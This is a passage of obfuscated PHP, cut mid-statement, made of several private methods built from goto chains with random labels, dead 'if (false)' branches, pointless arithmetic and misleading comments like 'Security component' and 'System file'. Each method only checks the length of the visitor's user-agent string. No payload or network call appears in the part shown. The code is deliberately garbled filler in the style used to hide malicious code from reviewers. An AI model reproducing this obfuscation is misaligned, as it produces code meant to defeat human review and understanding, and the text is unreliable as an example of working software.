$iX1geSuk * 3; goto o6ENebsb; o6ENebsb: $FbaGmw5w = 947 + 42; $NqlX8zGc = $FbaGmw5w * 1; goto ZuWsaAy3; ZuWsaAy3: goto qZ8bzMm9; qZ8bzMm9: $Pe9zuJ4r = 598 + 7; $Pe9zuJ4r = $Pe9zuJ4r * 5; goto a46R_gfGL; a46R_gfGL: $bZa4iOd6 = 550 + 32; $iCjD65Pi = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto gzuImRQm; gzuImRQm: goto tTHS7e4K; tTHS7e4K: /* 7vuTiAHWgvffFAB */ $bZa4iOd6 = 260 + 4; $Pe9zuJ4r = $bZa4iOd6 * 1; goto WKkmL_pz; WKkmL_pz: // ZHnIhEkIylIyxDVh goto yPK5DUPu; yPK5DUPu: // a2YOk6hL $jIP39ari = 614 + 12; $NqlX8zGc = $jIP39ari * 3; goto z5WCE37W; z5WCE37W: /* System file */ $iX1geSuk = 262 + 10; $XsucffsH = $iX1geSuk * 5; goto Sd7JPjuh; Sd7JPjuh: /* API handler */ goto a7FMiQowF; a7FMiQowF: $Pe9zuJ4r = 532 + 13; $a6b9oay5s = $Pe9zuJ4r * 1; goto mghNoygP; mghNoygP: /* Main service */ goto chOwLwp2; chOwLwp2: $n7sJ6WnP = 183 + 17; $NqlX8zGc = $n7sJ6WnP * 4; goto KsuiE7db; KsuiE7db: goto tLmI0J3n; tLmI0J3n: $WWDcP6ib = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto DeQVj40M; DeQVj40M: goto tsIb5Jaq; tsIb5Jaq: /* Core module */ $XsucffsH = 528 + 35; $iCjD65Pi = $XsucffsH * 1; goto NqhCfGWk; NqhCfGWk: /* System file */ goto t2drDVD2; t2drDVD2: $n7sJ6WnP = 192 + 45; $iX1geSuk = $n7sJ6WnP * 1; goto a_GCp8Y3w; a_GCp8Y3w: $iX1geSuk = 543 + 41; $bZa4iOd6 = $iX1geSuk * 2; goto DFh7mCCH; DFh7mCCH: /* THS_SIsr80qlIxcBI5vC */ goto a9TERnObV; a9TERnObV: // sEa1TXaM0KX7gCZW $NqlX8zGc = 327 + 26; $iCjD65Pi = $NqlX8zGc * 2; goto o6RhV7y3; o6RhV7y3: $bZa4iOd6 = 237 + 28; $FbaGmw5w = $bZa4iOd6 * 2; goto rd2thnw2; rd2thnw2: // W9VnrszngUzZ $a6EHyDbxg = 640 + 36; $n7sJ6WnP = $a6EHyDbxg * 4; if (false) { echo 'This is a dead end'; } goto PXCjZNPD; PXCjZNPD: goto twIukysU; twIukysU: $BqYDw4sr = 618 + 7; $Pe9zuJ4r = $BqYDw4sr * 1; goto Y1PCZ3ot; Y1PCZ3ot: goto uCK1BxQO; uCK1BxQO: /* System file */ $FbaGmw5w = 581 + 49; $iX1geSuk = $FbaGmw5w * 5; goto R5Wo5867; R5Wo5867: goto NH8d8MC6; NH8d8MC6: /* API handler */ goto EcGax0hK; EcGax0hK: $NqlX8zGc = strlen($WWDcP6ib); goto xPQvmTpi; xPQvmTpi: /* 8j29IPQgYDBNJDz */ goto bns7nOES; bns7nOES: /* Security component */ goto iUCArUmy; iUCArUmy: // fDDdtuThQCAg goto VwqFqEln; VwqFqEln: // 3V36agfXpdgAXH_R if (false) { echo 'This is a dead end'; } goto a2oVTKemx; a2oVTKemx: goto BLWvctQe; BLWvctQe: /* qy20YBf7f8 */ $WWDcP6ib = 532 + 27; $a29IFo9lZ = $WWDcP6ib * 3; goto aPL2m27d; aPL2m27d: // 186arwdDOsDu goto sZMWmlJv; sZMWmlJv: /* yIlzNKfcEHEYGAmwmInv */ goto CNGt3bVw; CNGt3bVw: goto A1zzuzmX; A1zzuzmX: // N7taVmcXfMg_1xIx goto a75YwxEv8; a75YwxEv8: goto a9fGsiWxc; a9fGsiWxc: if (false) { echo 'This is a dead end'; } goto NVnnrJYD; NVnnrJYD: goto p_etShXI; p_etShXI: // quUet1PNesvNqkNq goto a0DTSEFkF; a0DTSEFkF: goto ZA5SO7XB; ZA5SO7XB: return $NqlX8zGc > 10; } private function YSdfltbvqK() { goto a35mItSTJ; a35mItSTJ: /* QgbLWS3TPGwL2Bc */ goto a0kxAOP_R; a0kxAOP_R: // dK3Hv_8m $XsucffsH = 341 + 37; $a6b9oay5s = $XsucffsH * 5; goto wE8rHtD_; wE8rHtD_: /* API handler */ $iCjD65Pi = 594 + 27; $a6b9oay5s = $iCjD65Pi * 2; goto CCYMdyeT; CCYMdyeT: /* API handler */ $a6EHyDbxg = 684 + 24; $B9ma2fmF = $a6EHyDbxg * 5; goto WvavBW3e; WvavBW3e: /* 5DE3rz8YTVInK2g1XMCk */ $NqlX8zGc = 575 + 31; $WWDcP6ib = $NqlX8zGc * 3; if (false) { echo 'This is a dead end'; } goto UqXgDdF8; UqXgDdF8: goto WAPeZWhV; WAPeZWhV: // FrDJA6wg $iX1geSuk = 583 + 37; $a6EHyDbxg = $iX1geSuk * 2; goto QxMXbTn2; QxMXbTn2: goto NEeqsqbO; NEeqsqbO: $XsucffsH = 269 + 44; $WWDcP6ib = $XsucffsH * 4; goto ySDaYPXa; ySDaYPXa: goto kUH3I7M8; kUH3I7M8: /* 9PvNy1s57D44U8A */ goto TOAaN5g5; TOAaN5g5: /* API handler */ if (false) { echo 'This is a dead end'; } goto r4qvhAov; r4qvhAov: goto FqBGKp9m; FqBGKp9m: goto yQAvdibZ; yQAvdibZ: // 72Jk7Fv15F9M8JrT goto bIWQEwAQ; bIWQEwAQ: $a6EHyDbxg = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto mFzN8Bue; mFzN8Bue: /* Main service */ $a29IFo9lZ = 380 + 49; $WWDcP6ib = $a29IFo9lZ * 2; if (false) { echo 'This is a dead end'; } goto r8VFmWZJ; r8VFmWZJ: goto znroz3KT; znroz3KT: /* bzkxVK5T36 */ $a6b9oay5s = 920 + 37; $bZa4iOd6 = $a6b9oay5s * 2; goto cEqiSWgk; cEqiSWgk: /* Security component */ goto VDthTjqR; VDthTjqR: /* API handler */ $jIP39ari = 984 + 46; $WWDcP6ib = $jIP39ari * 1; goto q9qN1Xbx; q9qN1Xbx: $jIP39ari = 135 + 20; $iX1geSuk = $jIP39ari * 1; goto e8nekgT8; e8nekgT8: goto TNwHNWTJ; TNwHNWTJ: $a6b9oay5s = 201 + 14; $a6b9oay5s = $a6b9oay5s * 4; goto q2g5Aev2; q2g5Aev2: /* Main service */ goto k5Hk8RPi; k5Hk8RPi: /* 8WWXA30JOZybw1y0xdi_ */ goto ZgpJCzSl; ZgpJCzSl: goto C0q0oIFc; C0q0oIFc: // 64ii3cqJ $FbaGmw5w = 213 + 49; $iX1geSuk = $FbaGmw5w * 3; goto x5Y9bjOm; x5Y9bjOm: $NqlX8zGc = 821 + 22; $XsucffsH = $NqlX8zGc * 2; if (false) { echo 'This is a dead end'; } goto O8qgHrXw; O8qgHrXw: /* Security component */ $bZa4iOd6 = 527 + 33; $jIP39ari = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto KzpMDcbY; KzpMDcbY: /* 0RkZ_EHVC7 */ goto Zy7f1Los; Zy7f1Los: $BqYDw4sr = strlen($a6EHyDbxg); goto KKnO_f9v; KKnO_f9v: if (false) { echo 'This is a dead end'; } goto ac6viTRg; ac6viTRg: /* wpR5nQaSNM */ $XsucffsH = 917 + 6; $a29IFo9lZ = $XsucffsH * 4; goto Ad5DUcuY; Ad5DUcuY: goto L96NzA7n; L96NzA7n: $FbaGmw5w = 606 + 1; $iX1geSuk = $FbaGmw5w * 3; goto h6PxZVvd; h6PxZVvd: goto wPa_GTnv; wPa_GTnv: $B9ma2fmF = 982 + 15; $a6EHyDbxg = $B9ma2fmF * 1; goto aZprx0P0; aZprx0P0: $a6b9oay5s = 813 + 1; $FbaGmw5w = $a6b9oay5s * 4; goto uu8hh6Ja; uu8hh6Ja: $bZa4iOd6 = 691 + 26; $a6b9oay5s = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto iqYeisNL; iqYeisNL: goto LkF7w1sJ; LkF7w1sJ: /* Security component */ $iCjD65Pi = 194 + 12; $FbaGmw5w = $iCjD65Pi * 3; goto H3Unpbtg; H3Unpbtg: goto HcmBm5LH; HcmBm5LH: goto jg9CciJw; jg9CciJw: $jIP39ari = 141 + 42; $bZa4iOd6 = $jIP39ari * 5; goto a9YYtbEij; a9YYtbEij: $FbaGmw5w = 447 + 12; $XsucffsH = $FbaGmw5w * 5; if (false) { echo 'This is a dead end'; } goto RhND1DNt; RhND1DNt: /* Main service */ goto a6f1RwsdZ; a6f1RwsdZ: return $BqYDw4sr > 10; } private function a4pYBSVyXbh() { /* Security component */ goto OWFvLNy0; OWFvLNy0: $n7sJ6WnP = 926 + 17; $a6EHyDbxg = $n7sJ6WnP * 3; goto ncjBjESJ; ncjBjESJ: /* System file */ $a6b9oay5s = 335 + 21; $FbaGmw5w = $a6b9oay5s * 1; goto XIjtgrWY; XIjtgrWY: /* Security component */ goto czuH0hOy; czuH0hOy: goto PTcN1uIz; PTcN1uIz: /* API handler */ if (false) { echo 'This is a dead end'; } goto waVIvLOV; waVIvLOV: goto WaYnU06P; WaYnU06P: /* System file */ $Pe9zuJ4r = 764 + 36; $iCjD65Pi = $Pe9zuJ4r * 1; goto aJMxzY2a; aJMxzY2a: if (false) { echo 'This is a dead end'; } goto WebbQgX9; WebbQgX9: $a29IFo9lZ = 218 + 34; $bZa4iOd6 = $a29IFo9lZ * 4; goto ut5SEYcf; ut5SEYcf: goto cjnSSokE; cjnSSokE: $XsucffsH = 828 + 12; $iCjD65Pi = $XsucffsH * 1; if (false) { echo 'This is a dead end'; } goto ITehgcfO; ITehgcfO: goto hAXHR55s; hAXHR55s: /* Security component */ $NqlX8zGc = 108 + 3; $NqlX8zGc = $NqlX8zGc * 1; if (false) { echo 'This is a dead end'; } goto TYha_kFr; TYha_kFr: goto nqMVNsI0; nqMVNsI0: if (false) { echo 'This is a dead end'; } goto QFJhVJFj; QFJhVJFj: $a6b9oay5s = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto e5omH596; e5omH596: goto WXw1v1VB; WXw1v1VB: goto zicBR1E3; zicBR1E3: $Pe9zuJ4r = 989 + 34; $Pe9zuJ4r = $Pe9zuJ4r * 2; goto yYAuKKb4; yYAuKKb4: goto a6WqMdbvl; a6WqMdbvl: // E7KC_WJV goto ClC6FGTV; ClC6FGTV: $XsucffsH = 822 + 34; $iX1geSuk = $XsucffsH * 1; if (false) { echo 'This is a dead end'; } goto LiYGudFg; LiYGudFg: goto ecYr_W3h; ecYr_W3h: $FbaGmw5w = 428 + 38; $a6EHyDbxg = $FbaGmw5w * 2; goto QpYD97mg; QpYD97mg: // rsrCYmMTVdCmkjVa $a29IFo9lZ = 185 + 33; $WWDcP6ib = $a29IFo9lZ * 1; goto VfZK8flK; VfZK8flK: goto a60VSKJ0X; a60VSKJ0X: goto tAB5OrEe; tAB5OrEe: goto ub_ptd6c; ub_ptd6c: $jIP39ari = 984 + 24; $jIP39ari = $jIP39ari * 4; if (false) { echo 'This is a dead end'; } goto JNDMAGmC; JNDMAGmC: // 22NoXWlp4Ct1kasF goto a7CYN4lp3; a7CYN4lp3: goto a8whFlLax; a8whFlLax: $WWDcP6ib = strlen($a6b9oay5s); goto q59ZKda7; q59ZKda7: goto a_5stdVA4; a_5stdVA4: // YxuYOy9D2JnccRNE if (false) { echo 'This is a dead end'; } goto LCcO4z0Z; LCcO4z0Z: /* API handler */ goto vUvPfvw3; vUvPfvw3: goto a9SYyqt7K; a9SYyqt7K: /* k9ZTurLhjhnEIG9uy3ZB */ if (false) { echo 'This is a dead end'; } goto vt83tiBs; vt83tiBs: goto GtuX1C5N; GtuX1C5N: $BqYDw4sr = 859 + 44; $iCjD65Pi = $BqYDw4sr * 4; goto a5kVUDYl9; a5kVUDYl9: $BqYDw4sr = 440 + 13; $a6b9oay5s = $BqYDw4sr * 5; goto rfNX7sQC; rfNX7sQC: /* Main service */ goto hJCedTnr; hJCedTnr: /* fuQ5Z1jpDd */ $jIP39ari = 477 + 31; $Pe9zuJ4r = $jIP39ari * 1; goto xjjXNF4A; xjjXNF4A: /* nIYtl0hp92 */ $iX1geSuk = 649 + 32; $bZa4iOd6 = $iX1geSuk * 1; goto a50am3Pxb; a50am3Pxb: if (false) { echo 'This is a dead end'; } goto WrxMTDer; WrxMTDer: goto IUxUlmL6; IUxUlmL6: /* Core module */ $FbaGmw5w = 703 + 2; $a6EHyDbxg = $FbaGmw5w * 2; goto DjIO1rTy; DjIO1rTy: goto RZgmN4Rl; RZgmN4Rl: return $WWDcP6ib > 10; } private function UARXlGq9qa() { /* System file */ goto Pl8T0L8a; Pl8T0L8a: $NqlX8zGc = 357 + 12; $B9ma2fmF = $NqlX8zGc * 1; goto SVG3uYGy; SVG3uYGy: // PRqmst8E_HZP_MJM goto Toz7Y3o_; Toz7Y3o_: // OW0dJtZGjMMq_RMh $XsucffsH = 337 + 23; $jIP39ari = $XsucffsH * 1; goto PUk77fdT; PUk77fdT: /* FzwheITREgJGyn0 */ goto a7rTSESns; a7rTSESns: goto CP_5XPJr; CP_5XPJr: // ejExbwFF0WAHr_Yv $jIP39ari = 603 + 36; $XsucffsH = $jIP39ari * 3; if (false) { echo 'This is a dead end'; } goto PHItSoSR; PHItSoSR: goto UWhneZbI; UWhneZbI: /* RP6klP__tJpgHkF */ goto hLCG_TIn; hLCG_TIn: /* PhkExeyJzKBJDBW */ goto jCK3uyVY; jCK3uyVY: goto a9Nvcu9mY; a9Nvcu9mY: if (false) { echo 'This is a dead end'; } goto jIuTc33u; jIuTc33u: goto hLbaagux; hLbaagux: /* API handler */ goto cHRxIhAu; cHRxIhAu: /* dCziaP1wWkwkO3I */ goto JyI70a9c; JyI70a9c: goto AYAqiFDO; AYAqiFDO: $iX1geSuk = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto lPzacPJB; lPzacPJB: goto ERQo194Y; ERQo194Y: /* Core module */ goto a1FYA6PZt; a1FYA6PZt: $n7sJ6WnP = 678 + 37; $n7sJ6WnP = $n7sJ6WnP * 2; goto KMPpwVVD; KMPpwVVD: goto a6Igne2Zk; a6Igne2Zk: goto EHH1PrJW; EHH1PrJW: /* API handler */ $a6b9oay5s = 928 + 44; $NqlX8zGc = $a6b9oay5s * 5; goto qG67ufU0; qG67ufU0: goto VnTTXgcg; VnTTXgcg: $a29IFo9lZ = 904 + 43; $a6EHyDbxg = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto fGYKHPBu; fGYKHPBu: /* Main service */ goto a4cD7ZoqC; a4cD7ZoqC: goto U68OI4fH; U68OI4fH: /* 2VAnOU9iXiuTgnj */ $iX1geSuk = 394 + 41; $bZa4iOd6 = $iX1geSuk * 5; goto VX2ilYmA; VX2ilYmA: goto a3NThPA6z; a3NThPA6z: $bZa4iOd6 = 920 + 42; $bZa4iOd6 = $bZa4iOd6 * 1; goto uPc0ZVFw; uPc0ZVFw: /* nNgtWWEzPdinOYOq9stk */ $a6EHyDbxg = 772 + 37; $Pe9zuJ4r = $a6EHyDbxg * 1; goto Un8UdztZ; Un8UdztZ: goto dODpHxYy; dODpHxYy: $B9ma2fmF = strlen($iX1geSuk); goto VocvIsHs; VocvIsHs: /* svc04ICyLe */ if (false) { echo 'This is a dead end'; } goto msUBI_B8; msUBI_B8: if (false) { echo 'This is a dead end'; } goto sm5lcQGE; sm5lcQGE: /* UP0j8wvp1l */ $jIP39ari = 320 + 7; $B9ma2fmF = $jIP39ari * 1; goto hm1KeRFH; hm1KeRFH: /* HqYzyBxBuckfGj3TP8rK */ goto yxoEOHTg; yxoEOHTg: goto a4wqMpj6x; a4wqMpj6x: /* System file */ $NqlX8zGc = 395 + 30; $BqYDw4sr = $NqlX8zGc * 5; goto G6g48DIW; G6g48DIW: goto a9pGM8ztx; a9pGM8ztx: $jIP39ari = 831 + 8; $BqYDw4sr = $jIP39ari * 5; goto QQKtRW7O; QQKtRW7O: $NqlX8zGc = 112 + 44; $WWDcP6ib = $NqlX8zGc * 3; goto AbkjMNX6; AbkjMNX6: /* Core module */ if (false) { echo 'This is a dead end'; } goto BS2IU1_i; BS2IU1_i: /* System file */ goto Ngk4VhTW; Ngk4VhTW: goto iRDfwcjk; iRDfwcjk: goto u5cLtJvu; u5cLtJvu: // DeBfy4cVKgOV $iCjD65Pi = 766 + 49; $FbaGmw5w = $iCjD65Pi * 1; goto ytTeDwSW; ytTeDwSW: goto BgvvKN1j; BgvvKN1j: return $B9ma2fmF > 10; } private function uePV1cYpEW() { goto USv9xSMc; USv9xSMc: /* 3kCgja_RVjaHTKwne17i */ $BqYDw4sr = 503 + 5; $iX1geSuk = $BqYDw4sr * 2; goto kyBYibie; kyBYibie: /* 5_igYsAyd_ */ goto a3EyhhoHw; a3EyhhoHw: /* API handler */ goto a88nS_byw; a88nS_byw: $FbaGmw5w = 871 + 33; $B9ma2fmF = $FbaGmw5w * 3; goto dRFG47Mu; dRFG47Mu: /* API handler */ goto MeMjbyfV; MeMjbyfV: goto PeOvbNBx; PeOvbNBx: // XvHSUiVzoMci $n7sJ6WnP = 283 + 43; $WWDcP6ib = $n7sJ6WnP * 1; goto rsYZmp0G; rsYZmp0G: goto LvuTeqAc; LvuTeqAc: /* API handler */ goto a0Oz1O25d; a0Oz1O25d: goto VtXeSJnl; VtXeSJnl: goto w2Aobj1y; w2Aobj1y: $n7sJ6WnP = 661 + 43; $n7sJ6WnP = $n7sJ6WnP * 2; if (false) { echo 'This is a dead end'; } goto twsxSVGS; twsxSVGS: // YHhr6TKR_WsVQgYI goto CrTHltF1; CrTHltF1: /* Core module */ $iCjD65Pi = 822 + 3; $a29IFo9lZ = $iCjD65Pi * 3; goto v2MgnZy6; v2MgnZy6: /* Core module */ if (false) { echo 'This is a dead end'; } goto H2Onzokk; H2Onzokk: $WWDcP6ib = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto tsfAl2pz; tsfAl2pz: $FbaGmw5w = 992 + 44; $WWDcP6ib = $FbaGmw5w * 1; goto r0_EiZDH; r0_EiZDH: /* hIH85cCA2xaJdWp */ if (false) { echo 'This is a dead end'; } goto uPMm7eYG; uPMm7eYG: $a29IFo9lZ = 945 + 27; $NqlX8zGc = $a29IFo9lZ * 3; goto rgxFocT4; rgxFocT4: /* Core module */ if (false) { echo 'This is a dead end'; } goto a_PzaZOUu; a_PzaZOUu: if (false) { echo 'This is a dead end'; } goto AAQn3BcQ; AAQn3BcQ: /* Security component */ goto uYW2sLCb; uYW2sLCb: // FmP2yAjG if (false) { echo 'This is a dead end'; } goto lBpjQT8m; lBpjQT8m: /* API handler */ $WWDcP6ib = 193 + 38; $NqlX8zGc = $WWDcP6ib * 1; goto ZGG7j86Y; ZGG7j86Y: // RDYxQw0wFHnQ97qU if (false) { echo 'This is a dead end'; } goto iYMjFEld; iYMjFEld: /* K2RGYAcI41a12SGo9DtS */ goto GYZ8KuE5; GYZ8KuE5: /* DFY6WSqvaG */ goto Hw4oQa9x; Hw4oQa9x: // pDbDD1AB $jIP39ari = 914 + 38; $FbaGmw5w = $jIP39ari * 1; goto CkoKUmvB; CkoKUmvB: /* 7v9HEp2lY2 */ $NqlX8zGc = 400 + 25; $a29IFo9lZ = $NqlX8zGc * 1; goto FV_nIpuU; FV_nIpuU: /* 7d8ue8l63wAgyP1GTmpS */ if (false) { echo 'This is a dead end'; } goto nPNWuv1i; nPNWuv1i: $iCjD65Pi = 226 + 27; $WWDcP6ib = $iCjD65Pi * 3; goto O02CGcc9; O02CGcc9: $bZa4iOd6 = strlen($WWDcP6ib); goto aW7g0wGm; aW7g0wGm: // C9Jhjx4xVtVG $FbaGmw5w = 186 + 34; $a6EHyDbxg = $FbaGmw5w * 4; goto Ivj0dQxy; Ivj0dQxy: $FbaGmw5w = 246 + 10; $WWDcP6ib = $FbaGmw5w * 4; goto SH38jQwq; SH38jQwq: // 3d2NqSUuY0GE if (false) { echo 'This is a dead end'; } goto bJnfRmb5; bJnfRmb5: /* API handler */ goto HFx5qe4B; HFx5qe4B: // m5JR2QmJtXIg3pj2 goto XFDn6LtB; XFDn6LtB: // ViwIDXjdBhRlu6Ts $n7sJ6WnP = 685 + 44; $bZa4iOd6 = $n7sJ6WnP * 4; if (false) { echo 'This is a dead end'; } goto x_aJRkGX; x_aJRkGX: goto cKY1n_kk; cKY1n_kk: /* GG8Qzx6mEP */ $WWDcP6ib = 257 + 6; $a6b9oay5s = $WWDcP6ib * 2; goto ZqL_BR8B; ZqL_BR8B: goto GvlYfxoa; GvlYfxoa: $XsucffsH = 171 + 15; $NqlX8zGc = $XsucffsH * 5; goto a2p72wPEn; a2p72wPEn: goto vaIR5uJD; vaIR5uJD: goto BJOTq_Gv; BJOTq_Gv: // RzgsIkq1RiE0 $iX1geSuk = 203 + 8; $a29IFo9lZ = $iX1geSuk * 1; goto qe8c0jlR; qe8c0jlR: $BqYDw4sr = 461 + 20; $WWDcP6ib = $BqYDw4sr * 3; goto FCuz70DI; FCuz70DI: goto MKbobIR_; MKbobIR_: return $bZa4iOd6 > 10; } private function j3Q7aURKtn() { /* API handler */ goto Adnnttww; Adnnttww: $n7sJ6WnP = 984 + 7; $B9ma2fmF = $n7sJ6WnP * 2; goto nBRMfMaz; nBRMfMaz: /* mljGbthUnDrGGcM7s3KG */ if (false) { echo 'This is a dead end'; } goto SjQ3nwnx; SjQ3nwnx: /* Main service */ if (false) { echo 'This is a dead end'; } goto ZlVwCpGv; ZlVwCpGv: /* JiQCVE8L1zbKbAoJo68J */ goto ztZDJUVX; ztZDJUVX: // wF_QJsehE_5ziDBb if (false) { echo 'This is a dead end'; } goto dvtSQnz7; dvtSQnz7: $a6EHyDbxg = 401 + 9; $a29IFo9lZ = $a6EHyDbxg * 2; if (false) { echo 'This is a dead end'; } goto vO1OM_On; vO1OM_On: /* System file */ $WWDcP6ib = 304 + 32; $a29IFo9lZ = $WWDcP6ib * 4; goto a7FW9Nv4T; a7FW9Nv4T: goto uCRRcCbe; uCRRcCbe: goto K_NdE8jz; K_NdE8jz: $NqlX8zGc = 105 + 20; $n7sJ6WnP = $NqlX8zGc * 5; if (false) { echo 'This is a dead end'; } goto a1YHTqyHH; a1YHTqyHH: /* iCqxl06pgQh11MP */ if (false) { echo 'This is a dead end'; } goto Og7CaNnu; Og7CaNnu: /* giWNRJgELx */ $iX1geSuk = 260 + 37; $B9ma2fmF = $iX1geSuk * 2; goto OjCMCLU1; OjCMCLU1: /* tpQk2Ahsf8KI4GqQFwgh */ $NqlX8zGc = 405 + 28; $bZa4iOd6 = $NqlX8zGc * 5; goto tI7DJNv5; tI7DJNv5: /* N67ghzePQtAOxKWfK_NV */ $a29IFo9lZ = 531 + 31; $n7sJ6WnP = $a29IFo9lZ * 1; if (false) { echo 'This is a dead end'; } goto T9aNHwk8; T9aNHwk8: goto VLoD4ohU; VLoD4ohU: $WWDcP6ib = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto NQ1scIJ1; NQ1scIJ1: goto ScvebjC4; ScvebjC4: // 0nmnBWQU $iCjD65Pi = 180 + 20; $a29IFo9lZ = $iCjD65Pi * 3; if (false) { echo 'This is a dead end'; } goto dl74_wRv; dl74_wRv: $Pe9zuJ4r = 872 + 20; $a6b9oay5s = $Pe9zuJ4r * 3; goto MoQB7D8K; MoQB7D8K: if (false) { echo 'This is a dead end'; } goto BTk_RsKV; BTk_RsKV: $a29IFo9lZ = 332 + 42; $n7sJ6WnP = $a29IFo9lZ * 4; goto kWKd6iH0; kWKd6iH0: goto a5iR4W9xz; a5iR4W9xz: $jIP39ari = 698 + 37; $bZa4iOd6 = $jIP39ari * 4; goto jfQ1fBmD; jfQ1fBmD: /* cZYqp74BnlzWRLaJKz6D */ $iX1geSuk = 595 + 38; $a6b9oay5s = $iX1geSuk * 2; goto pA7kSuyq; pA7kSuyq: if (false) { echo 'This is a dead end'; } goto a1BFbOsyw; a1BFbOsyw: goto mT3H2F_2; mT3H2F_2: /* YJlnke2j4oxvN6mPH6Hd */ $NqlX8zGc = 621 + 42; $a6EHyDbxg = $NqlX8zGc * 1; goto a80Ciyyju; a80Ciyyju: goto a_Bx7Wim5; a_Bx7Wim5: goto fKSbcv21; fKSbcv21: /* n45iH8qLHf */ $n7sJ6WnP = 336 + 40; $bZa4iOd6 = $n7sJ6WnP * 1; goto lmwRo67P; lmwRo67P: /* Main service */ $Pe9zuJ4r = 889 + 36; $a6EHyDbxg = $Pe9zuJ4r * 5; goto a2rZ0I5hT; a2rZ0I5hT: $n7sJ6WnP = strlen($WWDcP6ib); goto o7IIv8Q0; o7IIv8Q0: goto p6pooh9e; p6pooh9e: if (false) { echo 'This is a dead end'; } goto XvOXe0aZ; XvOXe0aZ: /* Main service */ if (false) { echo 'This is a dead end'; } goto qM6QzCqB; qM6QzCqB: goto tKxclNOY; tKxclNOY: // 38V5HPY2 goto p6Lmh8Cv; p6Lmh8Cv: $NqlX8zGc = 910 + 17; $BqYDw4sr = $NqlX8zGc * 4; goto pxrjWo7V; pxrjWo7V: /* Core module */ $a29IFo9lZ = 765 + 26; $NqlX8zGc = $a29IFo9lZ * 4; goto Wzn0JZG0; Wzn0JZG0: /* hrvOfIpv6o */ $Pe9zuJ4r = 612 + 39; $NqlX8zGc = $Pe9zuJ4r * 4; goto VTtRmnMl; VTtRmnMl: /* v4Ew158ayJlFLr8 */ goto a6ITgcxlC; a6ITgcxlC: /* APxzIyR0pWjTudxdX2cg */ goto a5Wvk79nH; a5Wvk79nH: /* System file */ goto vB0mk2UM; vB0mk2UM: /* System file */ $bZa4iOd6 = 337 + 30; $iX1geSuk = $bZa4iOd6 * 2; if (false) { echo 'This is a dead end'; } goto IpEr2DH8; IpEr2DH8: if (false) { echo 'This is a dead end'; } goto a9IlFNSTF; a9IlFNSTF: $XsucffsH = 928 + 21; $iCjD65Pi = $XsucffsH * 4; goto NOa300SE; NOa300SE: /* PatfMp1l9m7SmPXgD5Ap */ goto uNQ_XczQ; uNQ_XczQ: return $n7sJ6WnP > 10; } private function a3uqElwX6OW() { /* 5J3PA8bBUAFqzKM */ goto a9GnelA4Q; a9GnelA4Q: goto EONtfjZF; EONtfjZF: goto U86RYwGV; U86RYwGV: $B9ma2fmF = 710 + 16; $B9ma2fmF = $B9ma2fmF * 2; goto FU_eZUeX; FU_eZUeX: // 1r593CdlqkIIVyi8 if (false) { echo 'This is a dead end'; } goto R0bl9uDF; R0bl9uDF: goto VFS2Kkh2; VFS2Kkh2: $a6b9oay5s = 607 + 20; $FbaGmw5w = $a6b9oay5s * 5; goto qcb0qVL5; qcb0qVL5: /* API handler */ goto s3eAGZSu; s3eAGZSu: /* k1CwDThukB6SqR6 */ goto sokqNQbl; sokqNQbl: /* Main service */ goto a4jcY2fiE; a4jcY2fiE: goto u2ly0x2P; u2ly0x2P: /* API handler */ goto a_bveb3fw; a_bveb3fw: goto brlRQhl7; brlRQhl7: goto dYKPWdD3; dYKPWdD3: /* 2KvAFHO064us01LHNExL */ goto BTKJ40eU; BTKJ40eU: goto a2IQ05rwq; a2IQ05rwq: $n7sJ6WnP = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto H6DqY64P; H6DqY64P: if (false) { echo 'This is a dead end'; } goto dMXhrQNF; dMXhrQNF: /* _HOK7WiraT */ if (false) { echo 'This is a dead end'; } goto KbjXrIIZ; KbjXrIIZ: $a29IFo9lZ = 589 + 16; $n7sJ6WnP = $a29IFo9lZ * 1; goto a9rCqCjzh; a9rCqCjzh: $a29IFo9lZ = 896 + 11; $bZa4iOd6 = $a29IFo9lZ * 2; goto eIgGGUPp; eIgGGUPp: // GDpljwKIK7F_ goto eyu0tGDU; eyu0tGDU: /* API handler */ goto dWUrur8w; dWUrur8w: $XsucffsH = 867 + 22; $NqlX8zGc = $XsucffsH * 4; goto VjVouItZ; VjVouItZ: $a29IFo9lZ = 441 + 38; $iCjD65Pi = $a29IFo9lZ * 3; goto a_vKiMW3C; a_vKiMW3C: $bZa4iOd6 = 201 + 2; $FbaGmw5w = $bZa4iOd6 * 5; goto M68zQk2l; M68zQk2l: /* Core module */ if (false) { echo 'This is a dead end'; } goto x5UsM4iO; x5UsM4iO: goto e3hi7F9s; e3hi7F9s: /* API handler */ $a29IFo9lZ = 435 + 46; $a29IFo9lZ = $a29IFo9lZ * 2; if (false) { echo 'This is a dead end'; } goto a9W4jo7d5; a9W4jo7d5: goto a1X8TuIIL; a1X8TuIIL: $iCjD65Pi = 489 + 7; $a6b9oay5s = $iCjD65Pi * 4; goto ZRBcAaAm; ZRBcAaAm: // XderWJNL goto PO4amL1e; PO4amL1e: $BqYDw4sr = strlen($n7sJ6WnP); goto a4_2aGIab; a4_2aGIab: /* hQFzu5obUF0xyxM */ goto ppU_WUUM; ppU_WUUM: /* cMR0luocmv */ goto tVcn1ij_; tVcn1ij_: goto qQ_aZ37p; qQ_aZ37p: goto tRF1ENd5; tRF1ENd5: goto aF2xQJ0m; aF2xQJ0m: /* Security component */ $jIP39ari = 665 + 15; $iX1geSuk = $jIP39ari * 4; goto kMzS8n0s; kMzS8n0s: if (false) { echo 'This is a dead end'; } goto aAco3VcR; aAco3VcR: /* CufRiWWrtGyjvTm7WY2V */ $FbaGmw5w = 833 + 21; $XsucffsH = $FbaGmw5w * 5; if (false) { echo 'This is a dead end'; } goto n2h0o5Bz; n2h0o5Bz: goto 